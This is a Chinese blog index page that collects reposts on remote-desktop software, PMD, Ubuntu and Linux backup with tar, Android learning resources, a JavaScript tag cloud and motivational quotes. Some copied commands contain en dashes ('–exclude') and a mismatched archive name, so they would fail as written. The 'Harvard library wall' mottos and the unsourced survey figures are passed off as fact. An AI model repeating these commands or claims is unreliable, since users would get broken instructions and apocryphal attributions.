聊天窗口:聊天界面很简单,没有广告,也没有什么乱七八糟的东西,还集成了屏幕截图和闪屏功能。采用了比较独特的黏贴和堆叠技术(用过gtalk的人应该了解),让你有一种盖楼的冲动,人足够多的情况下可以自动盖出n栋大楼,俺的分辨率高可以一次盖出35层的楼,通过楼房跟人聊天很醒目快捷。另外每天读下签名也是我工作中的一大快乐。

图度Talk:只要五秒,秒杀街边的各类远程桌面软件 - 迷离的红豆 - 迷离的红豆的博客
图度Talk:只要五秒,秒杀街边的各类远程桌面软件 - 迷离的红豆 - 迷离的红豆的博客

聊天和远程协助:远程协助想必搞IT的兄弟都用过某软件集成的远程协助,其中的辛酸俺就不多说了。我只能说图度Talk的远程协助绝对不一般,强大的工具栏支持键盘快捷、色彩调整、分辨率调整、远程白板、粘贴板同步等功能。完全支持内网穿透,打开远程的屏幕的速度两个字—秒杀街边的各类远程桌面软件,图度Talk首个嵌入了向日葵远控3.0远程桌面加速技术(要知道3.0还没有发布呢)。

图度Talk 1.0正式版更新说明:

1.       开启远程协助按钮; 内容来自Linuxren.net

2.       支持向日葵3.0版急速远程桌面协议;

3.       支持64位windows系统虚拟显卡驱动; copyright Linuxren.net

4.       支持自定义分组和联系人拖拉;

5.       支持超长签名名片显示;

下载—图度talk五秒钟版(1.0正式版)地址http://www.tudu.com/tudutalk_1.0final.exe,各位千万注意了,这个要配套图度系统使用的,所有的账户都是由你自主建立的,你说了算。开通图度系统可以到www.tudu.com申请开通,现在开通除了可以拿到一个很好的三级域名yourname.tudu.com域名,还将获得18个用户的图度商业版的永久免费使用权。

新闻来源:未知

posted @ 2011-11-29 20:17 MEYE 阅读(493) | 评论 (0)编辑 收藏
http://www.lupaworld.com/article-213531-1.html

PMD是一款采用BSD协议发布的Java程序代码检查工具。该工具可以做到检查Java代码中是否含有未使用的变量、是否含有空的抓取块、是否含有不必要的对象等。该软件功能强大,扫描效率高,是Java程序员debug的好帮手。

  它可以为您检查Java代码中存在的如下问题:

  1、隐藏的bug,例如空的try catch,switch

  2、未调用的代码,例如没有使用的局部变量、参数和私有方法

  3、未优化的代码,例如String的不正确使用

  4、过于复杂的表达式,没有必要的表达式循环,判断

  5、重复代码

  PMD支持的编辑器包括:

  JDeveloper、Eclipse、JEdit、JBuilder、BlueJ、CodeGuide、NetBeans/Sun Java Studio Enterprise/Creator、IntelliJ IDEA、TextPad、Maven、Ant,、Gel、JCreator和Emacs。

  此次版本的主要变化:

  1、修复了已有规则的一些bug

  2、修改了 CPD 算法

  3、JSP/JSF 解析器支持 Unicode

  4、可处理 标签;

  5、AST HtmlScript 节点包含内容,支持 Ecmascript 等等

  下载地址:http://sourceforge.net/projects/pmd/files/

posted @ 2011-09-22 09:06 MEYE 阅读(515) | 评论 (0)编辑 收藏
Ubuntu如何备份和恢复系统
http://wsfei.iteye.com/blog/1100534

在 使用Ubuntu之前,相信很多人都有过使用Windows系统的经历。如果你备份过Windows系统,那么你一定记忆犹新:首先需要找到一个备份工 具(通常都是私有软件),然后重启电脑进入备份工具提供的软件环境,在这里备份或者恢复Windows系统。Norton Ghost是备份Windows系统时经常使用的备份工具。

在备份Windows系统的时候你可能想过,我能不能把整个C盘都放到一个ZIP文件里去呢。这在Windows下是不可能的,因为在Windows中有很多文件在它们运行时是不允许拷贝或覆盖的,因此你需要专门的备份工具对Windows系统进行特殊处理。

和 备份Windows系统不同,如果你要备份Ubuntu系统(或者其它任何Linux系统),你不再需要像Ghost这类备份工具。事实上,Ghost 这类备份工具对于Linux文件系统的支持很糟糕,例如一些Ghost版本只能完善地支持Ext2文件系统,如果你用它来备份Ext3文件系统,你可能会 丢失一些宝贵的数据。

1. 备份系统

我该如何备份我的Ubuntu系统呢?很简单,就像你备份或压缩其它东西一样,使用TAR。和Windows不同,Linux不会限制root访问任何东西,你可以把分区上的所有东西都扔到一个TAR文件里去!

首先成为root用户:
$ sudo su

然后进入文件系统的根目录(当然,如果你不想备份整个文件系统,你也可以进入你想要备份的目录,包括远程目录或者移动硬盘上的目录):
# cd /

下面是我用来备份系统的完整命令:
# tar cvpzf backup.tgz –exclude=/proc –exclude=/lost+found –exclude=/backup.tgz –exclude=/mnt –exclude=/sys /

让我们来简单看一下这个命令:

“tar”当然就是我们备份系统所使用的程序了。

“cvpfz”是tar的选项,意思是“创建档案文件”、“保持权限”(保留所有东西原来的权限)、“使用gzip来减小文件尺寸”。

“backup.gz”是我们将要得到的档案文件的文件名。

“/”是我们要备份的目录,在这里是整个文件系统。

在 档案文件名“backup.gz”和要备份的目录名“/”之间给出了备份时必须排除在外的目录。有些目录是无用的,例如“/proc”、“/lost+ found”、“/sys”。当然,“backup.gz”这个档案文件本身必须排除在外,否则你可能会得到一些超出常理的结果。如果不把“/mnt”排 除在外,那么挂载在“/mnt”上的其它分区也会被备份。另外需要确认一下“/media”上没有挂载任何东西(例如光盘、移动硬盘),如果有挂载东西, 必须把“/media”也排除在外。

有人可能会建议你把“/dev”目录排除在外,但是我认为这样做很不妥,具体原因这里就不讨论了。

执行备份命令之前请再确认一下你所键入的命令是不是你想要的。执行备份命令可能需要一段不短的时间。

备份完成后,在文件系统的根目录将生成一个名为“backup.tgz”的文件,它的尺寸有可能非常大。现在你可以把它烧录到DVD上或者放到你认为安全的地方去。

在备份命令结束时你可能会看到这样一个提示:’tar: Error exit delayed from previous errors’,多数情况下你可以忽略它。

你还可以用Bzip2来压缩文件,Bzip2比gzip的压缩率高,但是速度慢一些。如果压缩率对你来说很重要,那么你应该使用Bzip2,用“j”代替命令中的“z”,并且给档案文件一个正确的扩展名“bz2”。完整的命令如下:
# tar cvpjf backup.tar.bz2 –exclude=/proc –exclude=/lost+found –exclude=/backup.tar.bz2 –exclude=/mnt –exclude=/sys /

2. 恢复系统

在进行恢复系统的操作时一定要小心!如果你不清楚自己在做什么,那么你有可能把重要的数据弄丢,请务必小心!

接着上面的例子。切换到root用户,并把文件“backup.tgz”拷贝到分区的根目录下。

在 Linux中有一件很美妙的事情,就是你可以在一个运行的系统中恢复系统,而不需要用boot-cd来专门引导。当然,如果你的系统已经挂掉不能启动了, 你可以用Live CD来启动,效果是一样的。你还可以用一个命令把Linux系统中的所有文件干掉,当然在这里我不打算给出这个命令!

使用下面的命令来恢复系统:
# tar xvpfz backup.tgz -C /

如果你的档案文件是使用Bzip2压缩的,应该用:
# tar xvpfj backup.tar.bz2 -C /

注意:上面的命令会用档案文件中的文件覆盖分区上的所有文件。

执行恢复命令之前请再确认一下你所键入的命令是不是你想要的,执行恢复命令可能需要一段不短的时间。

恢复命令结束时,你的工作还没完成,别忘了重新创建那些在备份时被排除在外的目录:
# mkdir proc
# mkdir lost+found
# mkdir mnt
# mkdir sys
等等

当你重启电脑,你会发现一切东西恢复到你创建备份时的样子了!


Linux备份策略研究

世界上没有绝对安全的系统。如果想获得绝对安全的系统,只有不连接网络,不让管理员之外的人使用,刷卡管制人员进出,使用监视器监视录像,甚至于不 要开机。但是这是完全不切实际的,我们仅能寄望尽量让系统能在承担低风险的情况下工作,因为任何操作系统都不可能毫无漏洞。那么怎样才能让系统承担最低的 风险呢?回答因该是在保障系统尽量安全的基础上,做好各个系统上的数据备份工作。一旦系统遭受到毁灭性的打击,可将平时做好的备份数据及时恢复,这样才能 使被破坏的系统迅速恢复正常,以避免不必要的损失。
下面针对Linux操作系统上的数据备份方法发表一下自己的看法。


数据备份种类

总的来说,在Linux操作系统中将备份分为两类:系统备份,实现对操作系统和应用程序的备份;用户备份,实现对用户文件的备份。在下面我们会看到,系统备份和用户备份是不同的。

系统备份

系统备份就是对操作系统和应用程序的备份,进行系统备份的原因是尽量在系统崩溃以后能快速简单完全地恢复系统的运行。进行备份的最有效方法是仅仅备份那些对于系统崩溃后恢复所必需的数据。

Linux系统中很多重要的文件位于/etc目录之下,如:

/etc/group : 组用户信息;

/etc/passwd : 包含所有的用户信息,如密码,登录shell等;

/etc/fstab : 配置系统有哪些文件系统;

/etc/inittab : 配置init在不同运行级别下分别如何启动系统;

/etc/hosts : 域名解析的配置信息;

/etc/inetd.conf : 进程控制信息;

/etc/printcap:配置如何与打印机通信;

/etc/XF86Config:包含XFree86的初始配置;

上面这些重要的配置文件都需要定期的做备份。

不 同的系统可能有很多重要配置文件,可以看到/etc目录下的配置文件非常重要。当然,某些程序使用了其他目录下的一些文件,但是Linux的基本配置文件 绝大多数都位于/etc目录下。很多人曾经花费了好长时间才正确的配置了XF86Config文件,想到如果重新再做一遍,就很费时费力。再举个例子, /etc目录下的passwd文件,如果误操作,将此文件更改,或删除了,则整个系统用户无法正常登录,如果定期或及时的对其备份,遇到上面的情况后,就 可以非常快速的恢复。

如果修改了某个程序所使用的配置文件,一般不能将其搬移到其它的地方,因为程序通常在固定的地方寻找配置文件。因此记录对系统所做的修改也非常重要,无论所做的修改如何小,当系统崩溃时才能轻松的恢复系统。

用户备份

用户备份不同于系统备份,因为用户的数据变动更加频繁一些。当备份用户数据时,只是为用户提供一个虚拟的安全网络空间,合理的放置最近用户数据文件的备份,当出现任何问题,例如,误删除某些文件或者硬盘发生故障时,用户可以恢复自己的数据。

用户备份应该比系统备份更加频繁,也许每天都需要进行备份,或使用cron程序自动定期运行某个程序的方法来备份数据。

数据备份策略

不 管系统多么可靠,总会发生一些意想不到的事情,致使系统数据丢失。因此使用备份来保护数据不丢失是一种非常重要的手段,尤其在系统数据非常重要的时候。经 常进行数据备份能够减少偶然破坏造成的损失,保证系统能够从错误中恢复正常运行。备份不应该成为一个长时间痛苦的事情,但它是作为系统管理必不可少的工 作,在着手之前进行详细的考虑和计划是应该的。

在进行备份之前,首先要选择合适的备份策略,这将决定何时需要备份,以及出现故障时进行恢复的方式。通常使用的备份方式有三种:

完全备份: 每隔一定时间就对系统进行一次全面的备份,这样在备份间隔期间出现数据丢失等问题,可以使用上一次的备份数据恢复到前次备份时数据状况。这是最基本的备份 方式,但是每次都需要备份所有的数据,并且每次备份的工作量也很大,需要大量的备份介质,因此这种备份不能进行的太频繁,只能每隔一段较长时间才进行一次 完整的备份。但是这样一旦发生数据丢失,只能恢复到上次备份的数据,这期间内更新的数据就有可能丢失。

增量备份: 首先进行一次完全备份,然后每隔一个较短时间进行一次备份,但仅仅备份在这个期间更改的内容。当经过一个较长的时间后再重新进行一次完全备份,开始前面的 循环过程。由于只有每个备份周期进行一次完全备份,其他只进行更新数据的备份,因此工作量小,可以进行频繁的备份。例如以一个月为一个周期,一个月进行一 次完全备份,每天晚上0点进行这一天改变的数据备份。这样一旦发生数据丢失,首先恢复到前一个完全备份,然后按日期一个一个恢复每天的备份,就能恢复到前 一天的情况。这种备份方法比较经济。

累计备份:这种备份方法与增量备份相似,首先每月进行一次完全备 份,然后每天进行一次更新数据的备份。但不同在于,增量备份是备份该天更改的数据,而累计备份是备份从上次进行完全备份后更改的全部数据文件。一旦发生数 据丢失,可以使用前一个完全备份恢复到前一个月的状态,再使用前一个累计备份恢复到前一天的情况。这样做的缺点是每次做累计备份工作的任务比增量备份的工 作量要大,但好处在于,增量备份每天都备份,因此要保存数据备份数量太多,而累计备份则不然,只需保存一个完全备份和一个累计备份就可以恢复故障以前的状 态。另外在进行恢复工作时,增量备份要顺序进行多次备份的恢复,而累计备份只需两次恢复,因此它的恢复工作相对简单。

增量备份和累计备份 都能以比较经济的方式对系统进行备份,在这些不同的策略之间进行选择不但与系统数据更新的方式相关,也依赖于管理员的习惯。通常在系统数据更新不是太频繁 的话,可以选用更新备份的方式。但是如果系统数据更新太快,使每个备份周期后的几次累计备份的数据量相当大。这时候可以考虑增量备份或混用累计备份和增量 备份的方式,或者缩短备份周期。

数据备份命令

在Linux系统中常用的备份命令通常有下面几种:

1.使用tar命令

Linux的实用程序tar最初是为了制作磁带存档而设计的(把文件和目录复制到磁带中,然后从存档中提取或恢复文件),而现在的应用中可以把它用于任何设备,它是数据备份中最常用的命令之一。

下面具体介绍tar命令的使用方法:

(1)格式:tar 参数 ......

(2)参数:

c: 创建备份(Create)

v: 表示回显模式(Verbose),将产生一系列备份的文件列表

f: 指定使用的备份文件,它后面的参数为输出的备份文件名

x: 展开备份文件

t: 显示备份文件的内容

T: 后面跟随一个文件参数,指定从这个文件中读取要备份的各个文件的路径。如果不使用T参数,那么就需要一个参数,指明进行备份文件和目录的路径

Z: 使用压缩方式创建和解开备份文件,这是GNU的新版tar的功能,需要同时安装gzip。

例如:

$ tar cvf backup.tar /etc

上 面的命令将/etc下的所有文件打包成tar存档文件backup.tar。tar的第一个参数“cvf”,是tar的命令参数,“c”告诉tar创建一 个存档文件;“v”选项迫使tar采用冗长模式,即在存档时打印每个文件名;“f”选项告诉tar下一个参数backup.tar是创建的存档文件名。

下面一行的命令将tar文件backup.tar解开并放到当前工作目录下。必须说明的是这样做是有危险的,因为在从tar文件中解开文件时,旧文件将被覆盖。

$ tar xvf backup.tar

在解开tar文件之前,知道在何处打开文件是非常重要的。例如,假设存档以下文件:/etc/hosts,/etc/group和/etc/passwd。如果用下述命令:

$ tar cvf backup.tar /etc/hosts /etc/group /etc/passwd

目录/etc会被加到每个文件名前。为了将文件展开到正确位置,需要用下述命令:

$ cd /

$ tar xvf backup.tar

这是因为文件从存档文件中抽取出路径名,如果用下述命令存档文件:

$ cd /etc

$ tar cvf hosts group passwd

这样目录名就不存在存档文件中,因此需要在展开文件之前用“cd /etc”命令进入目录etc。由此可见,tar文件的创建方式与在何处展开有很大关系。

命令:

$ tar tvf backup.tar

在解开tar文件之前显示tar文件的索引,用这种方式可以看到存档文件中与文件名有关的目录名,从而在正确位置上展开存档文件。

2.gzip和compress 命令

与MS-DOS的存档程序不同, tar在存档过程中并不压缩文件。因此,如果存储两个1MB的文件,那么tar文件大小为2MB,gzip命令用来压缩文件(被压缩的文件并不需要是tar格式)。

例如:

$ gzip -9 backup.tar

压缩backup.tar文件,产生的文件为backup.tar.gz,开关“-9”告诉gzip用最高的压缩比。gunzip命令用来解开一个gzip压缩的文件,用“gzip -d”也可以达到同样效果。

例如:

$ gunzip backup.tar.gz

$ gzip -d backup.tar.gz

3. 联合使用

介绍了这些命令之后,我们来尝试组合使用这些命令。为了压缩存储一组文件,可以用下述命令:

$ tar cvf backup.tar /etc

$ gzip -9 backup.tar

结果是形成文件backup.tar.gz。展开该文件时,用相反的命令:

$ gunzip backup.tar.gz

$ tar xvf backup.tar

tar命令还包括“z”选择项,它会自动采用gzip压缩算法来联机压缩/解压文件。例如,下列命令:

$ tar cvfz backup.tar.gz /etc

上面一行的命令等价于:

$ tar cvf backup.tar /etc

$ gzip backup.tar

而命令:

$ tar xvfz backup.tar.Z

可以用来代替下述命令:

$ uncompress backup.tar.Z

$ tar xvf backup.tar

案例实验

案例:使用tar进行备份。

选定了备份方式之后,可以使用tar、cpio、dump等备份工具软件将数据备份到磁带上。对于一般的备份,使用tar就足够了。tar能够创建备份文档,能够备份到磁带上或者产生一个文件,如:

$ tar cvf root.tar /root

将/root目录下的所有文档备份到root.tar文件中,root.tar为指定输出的备份文件,/roo t指出要做备份的目录。如果要备份到磁带上,将输出的备份文件指定为磁带设备文件即可:

$ tar cvf /dev/rmt/0h /root

如果设置了环境变量TAPE,则可以不使用选项“f”指定输出磁带设备名字:

$ TAPE=/dev/rmt/0h; export TAPE

$ tar cv /root

要进行增量备份,必须找出哪些文件在这个期间进行更新。这个任务可以由命令find来完成,例如查找过去七天更改的文件,并使用tar的“-T”参数制定进行备份的文件,命令如下:

$ find / -mtime -7 -print > /tmp/filelist

$ tar -c -T /tmp/filelist -f /dev/rmt/0h

由 于要使用find来找出需要备份的文件列表,那么就需要利用文件的修改时间进行查询,需要使用“-mtime” 参数。另一个更有用的参数是“-newer”,可以查找出所有比某个文件更新的文件,由于备份是周期进行的,因此可以在完全备份之后生成一个标记文件,那 么所有比这个文件新的文件都需要进行更新备份。

$ find / -newer full_back_tag_file -print > /tmp /filelist

进 行数据备份需要定期执行,不能完全依赖于管理员手工进行备份。备份也应该选择在系统比较空闲时进行,以免影响系统的正常处理任务。通常可以选择半夜 0:00点之后进行备份,这样更不能将这个任务由管理员手工完成了。但Linux提供了定时服务cron程序,能够在确定的时间中执行一系列任务,因此数 据备份必须和cron合作来完成,或者使用/etc下的daily,weekly,monthly文件做定时备份的操作。


posted @ 2011-08-25 12:56 MEYE 阅读(11606) | 评论 (2)编辑 收藏

如何学习Android应用程序的开发

命令行启动程序如:
shell am start -n com.testZ/com.testZ.Test


昨天一同学问我,如何快速的学习Android应用程序开发? 之前的一位同事也问过我,我也只是大概的说说看哪些资料。为避免更多的人问我,所以有必要写写。

1. 开发环境搭建。自行Google。英文好的,看官方网 http://developer.android.com/ 访问不了的,可以访问它的镜像 http://androidappdocs.appspot.com/index.html

2. 在模拟器上运行 ApiDemos,全部点一遍,看看Android都提供了些什么界面效果,心里有个印象。最好把ApiDemos的代码,看它个两三遍。我到过深圳南山 书城,看了好几本国内出的Android书籍,一本书都没翻多久,就看完了,没啥看头,因为大部分内容ApiDemos都有了呀。

3. Java的学习。
Android应用程序是用Java写的,像我这样从C/C++阵营过来的,开始真的很抵触。《Thinking in Java》 ??? No! 没时间玩这东西,当做参考书还行,不懂就翻翻。宝岛台湾的林信良老师写的《Java学习笔记》,还不错。
http://caterpillar.onlyfun.net/Gossip/JavaGossip-V1/JavaGossip.htm
http://caterpillar.onlyfun.net/Gossip/JavaGossip-V2/JavaGossip2.htm
大约花一个礼拜的晚上时间学习,基本够用。

4. 学习资料
(1) 网站
官网 developer.android.com,英文差的同学,也要硬着头皮看,在网上搜来搜去,其实大部分东西都是从这拷贝过去的,从而浪费了大把的时间。国内的android论坛,好像就javaeye文章质量高一点,其他的不知道。我一直上国外的 http://www.anddev.org/ 它有两个版面 Novice Tutorials和Code Snippets for Android,有教程,可以下载代码编译运行,初学者最喜欢这样的了。不像一些网站,下载代码还要扣积分等其他7788的,一看就没什么好感。

(2) 书籍
就只推荐三本,其他的没看过,不好评论。
Mark L. Murphy: 《The Busy Coder’s Guide to Android Development》
Chris Haseman:《Android Essentials》
高煥堂:《Android 應用框架原理與程式設計36 技》

初学者最好不要第一本书就看高的书,因为一些东西他讲起来莫名其妙,搞复杂了,一看developer.android.com英文原版的资料,噢!英文描述这么简单啊。

(3) Blogs
请参看 http://wiki.andmob.org/blogs

(4) 阅读代码
除了上面所说的ApiDemos的代码,还有SDK下提供的Samples目录下其他示例代码,还有Google公司提供的Demo代码,它们在:
http://code.google.com/p/apps-for-android/

———–
2010/6/11 补充内容:今天在网上找chrome代码阅读,看到Venus神庙的 Android学习入门http://www.cnblogs.com/duguguiyu/archive/2010/01/23/1654559.html
感觉不错,也推荐给大家,Venus神庙写作水平不错,比我好N倍。

 

http://blog.csdn.net/sdhjob/

http://www.anddev.org/

http://dev.10086.cn/cmdn/wiki/index.php?doc-view-3882.html
http://blog.csdn.net/sdhjob/default.aspx?PageNumber=2

 

posted @ 2011-05-24 09:04 MEYE 阅读(1982) | 评论 (0)编辑 收藏

Android网络应用开发
http://blog.lytsing.org/archives/574.html

Android网络应用开发

反复研究了 Android Market,总结一下,之前发在新浪微博上,但不够详细,主要是提高用户体验。

1.网络异常处理,重试机制。
上wifi常常网络断开,那就看运用程序是否健壮。可以用Android 提供的 frameworks/base/core/java/android/net/NetworkConnectivityListener.java 监控网络变化,然后做相应的处理。

2.Cache
这个是必须的。比如手机QQ的头像,不可能每一次登录,重新把头像下载一遍。可以是内存cache,也可以写入SD卡。

3. 本地数据与服务器同步机制

4.请求异步处理机制
给一个app打分,打分后,马上回到之前的界面,而不是一直在等是否把数据发送到了服务器再响应。

5. push消息通知
有软件可以更新,在状态栏提示。新浪微博在右上方显示有新数据。

6.lazyload
延时加载,比如图标,头像,分页。

7.数据交换格式:对象序列化/protobuf/json/xml。

8. 设计模式:MVC,chain。

posted @ 2011-05-24 08:59 MEYE 阅读(440) | 评论 (0)编辑 收藏
经典语录1:

哈佛有一个著名的理论:人的差别在于业余时间,而一个人的命运决定于晚上8点到10点之间。每晚抽出2个小时的时间用来阅读、进修、思考或参加有意的演讲、讨论,你会发现,你的人生正在发生改变,坚持数年之后,成功会向你招手。不要每天抱着QQ/MSN/游戏/电影/肥皂剧……奋斗到12点都舍不得休息,看就看一些励志的影视或者文章,不要当作消遣;学会思考人生,学会感悟人生,慢慢的,你的人生将会发生变化……

经典语录2:  

无论你的收入是多少,记得分成五份进行规划投资:增加对身体的投资,让身体始终好用;增加对社交的投资,扩大你的人脉;增加对学习的投资,加强你的自信;增加对旅游的投资,扩大你的见闻;增加对未来的投资,增加你的收益。好好规划落实,你会发现你的人生逐步会有大量盈余。

经典语录3:  

过去的一页,能不翻就不要翻,翻落了灰尘会迷了双眼。有些人说不出哪里好,但就是谁都替代不了! 那些以前说着永不分离的人,早已经散落在天涯了。收拾起心情,继续走吧,错过花,你将收获雨,错过这一个,你才会遇到下一个。

经典语录4:  

被人误解的时候能微微的一笑,这是一种素养;受委屈的时候能坦然的一笑,这是一种大度;吃亏的时候能开心的一笑,这是一种豁达;无奈的时候能达观的一笑,这是一种境界;危难的时候能泰然一笑,这是一种大气;被轻蔑的时候能平静的一笑,这是一种自信;失恋的时候能轻轻的一笑,这是一种洒脱。

经典语录5:  

人生途中,有些是无法逃避的,比如命运;有些是无法更改的,比如情缘;有些是难以磨灭的,比如记忆;有些是难以搁置的,比如爱恋……与其被动地承受,不如勇敢地面对;与其鸟宿檐下,不如击翅风雨;与其在沉默中孤寂,不如在抗争中爆发……路越艰,阻越大,险越多,只要走过去了,人生就会更精彩。

经典语录6:  

你改变不了环境,但你可以改变自己;你改变不了事实,但你可以改变态度;你改变不了过去,但你可以改变现在;你不能控制他人,但你可以掌握自己;你不能预知明天,但你可以把握今天;你不可以样样顺利,但你可以事事尽心;你不能延伸生命的长度,但你可以决定生命的宽度。

经典语录7:  

魅力女人:1、善于发现生活里的美。2、养成看书的习惯。3、拥有品位。4、跟有思想的人交朋友。5、远离泡沫偶像剧。6、学会忍耐与宽容。7、培养健康的心态,重视自己的身体。8、离开任何一个男人,都会活得很好。9、有着理财的动机,学习投资经营。10、尊重感情,珍惜缘分。

经典语录8:  

愚人向远方寻找快乐,智者则在自己身旁培养快乐。生活里的每一个细节都蕴藏着快乐,只是在于你是否感受到了而已。快乐着的人,每一件事,每一个人身上,他都能发现能令自己欢悦的因素来,并让快乐扩张,鼓舞和影响了周围的人。

经典语录9:  

【给自己安慰的10句温馨话】1、最重要的是今天的心;2、别总是自己跟自己过不去;3、用心做自己该做的事;4、不要过于计较别人评价;5、每个人都有自己的活法;6、喜欢自己才会拥抱生活;7、不必一味讨好别人;8、木已成舟便要顺其自然;9、不妨暂时丢开烦心事;10、自己感觉幸福就是幸福。

经典语录10:  

没有永远的缘份,没有永远的生命,我们所能拥有的,可能只是平凡的一生。然而因为有你,生命便全然不同,不用誓言,不必承诺,我们只需依了爱缘,以目光为媒,印证三生石上的约定,便牵了手,不必紧握,却永不放松,以自己设计的爱的程式,去演绎一种精典的永恒。

经典语录11:  

我们之所以会心累,就是常常徘徊在坚持和放弃之间,举棋不定。我们之所以会烦恼,就是记性太好,该记的,不该记的都会留在记忆里。我们之所以会痛苦,就是追求的太多。我们之所以不快乐,就是计较的太多,不是我们拥有的太少,而是我们计较的太多。

经典语录12:  

男人吸引女人的10个特质:1.真实 2.深刻 3.胸怀 4.敢为 5.风度 6.机灵 7.幽默 8.进取 9.浪漫 10.冒险.女人吸引男人的10个特点:1.温柔 2.知性 3.直性 4.涵养 5.朦胧 6.小动作 7.勤于家事 8.肤白 9.性感着装 10.香氛

经典语录13:  

真正的爱,是接受,不是忍受;是支持,不是支配;是慰问,不是质问;真正的爱,要道谢也要道歉。要体贴,也要体谅。要认错,也好改错;真正的爱,不是彼此凝视,而是共同沿着同一方向望去。其实,爱不是寻找一个完美的人。而是,要学会用完美的眼光,欣赏一个并不完美的人。

经典语录14:  

身边总有些人,你看见他整天都开心,率真得像个小孩,人人都羡慕他;其实,你哪里知道:前一秒人后还伤心地流着泪的他,后一秒人前即刻洋溢灿烂笑容。他们其实没有能力独处,夜深人静时,总坐在窗前对着夜空冥想失意的苦楚。他们就像向日葵,向着太阳的正面永远明媚鲜亮,在照不到的背面却将悲伤深藏。

经典语录15:  

生命中,有些人来了又去,有些人去而复返,有些人近在咫尺,有些人远在天涯,有些人擦身而过,有些人一路同行。或许在某两条路的尽头相遇,结伴同行了一段路程,又在下一个分岔路口道别。无论如何,终免不了曲终人散的伤感。远在天涯的朋友:或许已是遥远得无法问候,但还是谢谢您曾经的结伴同行。

经典语录16:  

爱情很简单,因为每个人都会说:“我爱你,会为你付出一切!”,爱情很难,因为没有多少人做到了他的承诺。如果真心爱一个人,不承诺也会去爱;如果不爱一个人,曾经承诺也会背叛。

经典语录17:  

【你最后悔什么】某杂志对全国60岁以上的老人抽样调查:第一名:75%的人后悔年轻时努力不够,导致一事无成。第二名:70%的人后悔在年轻的时候选错了职业。第三名:62%的人后悔对子女教育不当。第四名:57%的人后悔没有好好珍惜自己的伴侣。第五名:49%的人后悔没有善待自己的身体。

经典语录18:  

【做人十心机】⒈做人不能太单纯 适度伪装自己 ⒉凡事留余地 要留退路 ⒊话不说绝口无遮拦难成大事 ⒋成熟而不世故 ⒌心态好 想得开活得不累 ⒍懂方圆之道:没事不惹事,来事不怕事 ⒎不可少二礼:礼仪与礼物 ⒏人在江湖飘 防挨朋友刀 ⒐偶尔"势利眼" 寻可靠伙伴 ⒑放下面子来做人。

经典语录19:  

人生旅途中,总有人不断地走来,有人不断地离去。当新的名字变成老的名字,当老的名字渐渐模糊,又是一个故事的结束和另一个故事的开始。在不断的相遇和错开中,终于明白:身边的人只能陪着自己走过或近或远的一程,而不能伴自己一生;陪伴一生的是自己的名字和那些或清晰或模糊的名字所带来的感动。

经典语录20:  

从现在开始,聪明一点,不要问别人想不想你,爱不爱你?若是要想你或者爱你自然会对你说,但是从你的嘴里说出来,别人会很骄傲和不在乎你。再也不要太在意一些人,太在乎一些事,顺其自然以最佳心态面对,因为这个世界就是这样:往往在最在乎的事物面前,我们最没有价值。

经典语录21:  

一个人的成就,不是以金钱衡量,而是一生中,你善待过多少人,有多少人怀念你。生意人的账簿,记录收入与支出,两数相减,便是盈利。人生的账簿,记录爱与被爱,两数相加,就是成就。
posted @ 2011-04-27 08:46 MEYE 阅读(496) | 评论 (0)编辑 收藏


http://bbs.imp3.net/thread-963148-1-1.html

find . -name ".svn" -exec rm -rf {} \;


source insight

http://hengxing2009.javaeye.com/blog/809622


http://hi.baidu.com/steven926/blog/item/57bc18f971ff85056d22eb88.html


http://blog.csdn.net/philips_629/archive/2010/03/05/5350510.aspx

http://hi.baidu.com/dai493400349/blog/item/c4c8f3f17326ecfd7709d769.html
posted @ 2011-03-16 18:26 MEYE 阅读(421) | 评论 (0)编辑 收藏

JavaScript实现的3D球面标签云效果http://topic.csdn.net/u/20101021/10/33959060-2C51-4E15-ABA7-FC770A39E328.html





效果预览点这里:http://www.miaov.com/miaov_demo/3dLable/miaov_demo.html
下载效果点这里:http://www.miaov.com/miaov_demo/3dLable/3dLable.rar


使用说明:

一般需要修改的,应该是3D球面的大小,也就是半径,修改了大小,就可以随意放进自己页面的任何地方。

半径大小修改:

下载后,打开 miaov.js 文件,第一行:var radius = 120; 这就是半径大小值了。

文字的修改在 miaov_demo.html 文件中,可以任意添加关键词的个数;

如果希望修改文字颜色、鼠标经过的样式,可以打开 miaov_style.css 文件,修改相关的样式即可。

效果原理:

制作这个效果需要重新回顾一下高中的数学知识:

球坐标系
例如:
r∈[0,+∞),
φ∈[0, 2π],
θ∈[0, π] .
r = 常数,即以原点为心的球面;
θ= 常数,即以原点为顶点、z轴为轴的圆锥面;
φ= 常数,即过z轴的半平面。
……
在这里,我们就不展开讲了,由数学老师来说明更合适些^_^
有兴趣的朋友可以看看百度百科的球坐标系原理:http://baike.baidu.com/view/1196991.htm

关键代码:
for( var i=1; i<max+1; i++){
  if( distr )
  {
phi = Math.acos(-1+(2*i-1)/max);
theta = Math.sqrt(max*Math.PI)*phi;
  }
  else{
phi = Math.random()*(Math.PI);
theta = Math.random()*(2*Math.PI);
  }
  //���任
  mcList[i-1].cx = radius * Math.cos(theta)*Math.sin(phi);
 //这里有点疑问,mcList[i-1].cx=radius* Math.cos(phi)*Math.sin(theta);   
  mcList[i-1].cy = radius * Math.sin(theta)*Math.sin(phi);
  mcList[i-1].cz = radius * Math.cos(phi);
//这里有点疑问,mcList[i-1].cz = radius * Math.cos(theta);

aA[i-1].style.left=mcList[i-1].cx+oDiv.offsetWidth/2-mcList[i-1].offsetWidth/2+'px';
aA[i-1].style.top=mcList[i-1].cy+oDiv.offsetHeight/2-mcList[i-1].offsetHeight/2+'px';
}
posted @ 2010-10-27 09:06 MEYE 阅读(848) | 评论 (0)编辑 收藏

哈佛大学凌晨4点半的景象

哈佛校训:
此刻打盹,你将做梦;而此刻学习,你将圆梦。

看到一篇关于哈佛大学学生是如何学习的文章,贴出来与大家共勉之。如果管理员觉得本文不合适放在首页,可以放在其他地方,谢谢

    哈佛老师经常给学生这样的告诫:如果你想在进入社会后,在任何时候任何场合下都能得心应手并且得到应有的评价,那么你在哈佛的学习期间,就没有晒太阳的时间。


作为闻名于世的学府,哈佛大学培养了许多名人,他们中有33位诺贝尔奖获得者、7位美国总统以及各行各业的职业精英。究竟是什么使哈佛成为精英的摇篮?哈佛学子接受了什么样的精神和理念?这些问题吸引着成千上万的人去探知其中的答案。

哈佛图书馆墙上的20条训言似乎已经给出了答案。短短数语,引发深思,给人启迪。

哈佛图书馆的二十条训言:
1.此刻打盹,你将做梦;而此刻学习,你将圆梦。
2.我荒废的今日,正是昨日殒身之人祈求的明日。
3.觉得为时已晚的时候,恰恰是最早的时候。
4.勿将今日之事拖到明日。
